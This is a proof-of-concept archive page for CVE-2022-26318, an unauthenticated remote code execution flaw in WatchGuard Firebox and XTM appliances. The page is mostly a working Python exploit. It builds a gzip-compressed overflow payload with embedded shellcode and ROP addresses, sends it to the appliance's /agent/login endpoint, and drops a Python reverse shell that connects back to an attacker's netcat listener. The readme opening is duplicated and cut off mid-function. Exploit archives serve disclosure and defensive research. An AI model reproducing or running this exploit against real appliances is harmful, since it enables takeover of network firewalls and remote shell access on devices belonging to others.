Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-26318 PoC — WatchGuard Firebox 安全漏洞

Source
Associated Vulnerability
Title: WatchGuard Firebox 安全漏洞 (CVE-2022-26318)
Description:On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
Readme
# watchguard_cve-2022-26318

Watchguard RCE POC CVE-2022-26318

#!/usr/bin/python3
# -*- coding: utf-8 -*-

# CVE-2022-26318

import socket
import ssl
import gzip



# Remote WatchGuard XTM or FireWare OS
R_HOST = "1.1.1.1"
# Local host with nc listener: nc -l 8.8.8.8 8888
L_HOST = "8.8.8.8"


def buildPayload(L_HOST):
    payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
    payload += ("A"*3181).encode()
    payload += "MFA>".encode()
    payload += ("<BBBBMFA>"*3680).encode()
# watchguard_cve-2022-26318
Watchguard RCE POC CVE-2022-26318

```python3
#!/usr/bin/python3
# -*- coding: utf-8 -*-

# CVE-2022-26318

import socket
import ssl
import gzip



# Remote WatchGuard XTM or FireWare OS
R_HOST = "1.1.1.1"
# Local host with nc listener: nc -l 8.8.8.8 8888
L_HOST = "8.8.8.8"


def buildPayload(L_HOST):
    payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
    payload += ("A"*3181).encode()
    payload += "MFA>".encode()
    payload += ("<BBBBMFA>"*3680).encode()
    payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/usr/bin/python\x00/tmp/test.py\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x01\x00\x00\x00\x00\x00\x00'
    payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
    return gzip.compress(payload, 9)


def buildHTTP(L_HOST, R_HOST):
    http_payload = "POST /agent/login HTTP/1.1\r\n"
    http_payload += "Host: {}:4117\r\n".format(R_HOST)
    http_payload += "User-Agent: CVE-2022-26318\r\n"
    http_payload += "Accept-Encoding: gzip, deflate\r\n"
    http_payload += "Accept: */*\r\n"
    http_payload += "Connection: close\r\n"
    http_payload += "Content-Encoding: gzip\r\n"

    gzippedExploit = buildPayload(L_HOST)

    http_payload += "Content-Length: {}\r\n".format(len(gzippedExploit))
    http_payload += "\r\n"

    return http_payload.encode() + gzippedExploit


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    wrappedSocket = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    server_address = (R_HOST, 4117)
    print('connecting to {} port {}'.format(*server_address))

    wrappedSocket.settimeout(3)
    try:
        wrappedSocket.connect(server_address)
        print("sending payload...")
        payload = buildHTTP(L_HOST, R_HOST)
        wrappedSocket.sendall(payload)
    except:
        pass

    finally:
        print('closing socket')
        wrappedSocket.close()


main()

```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →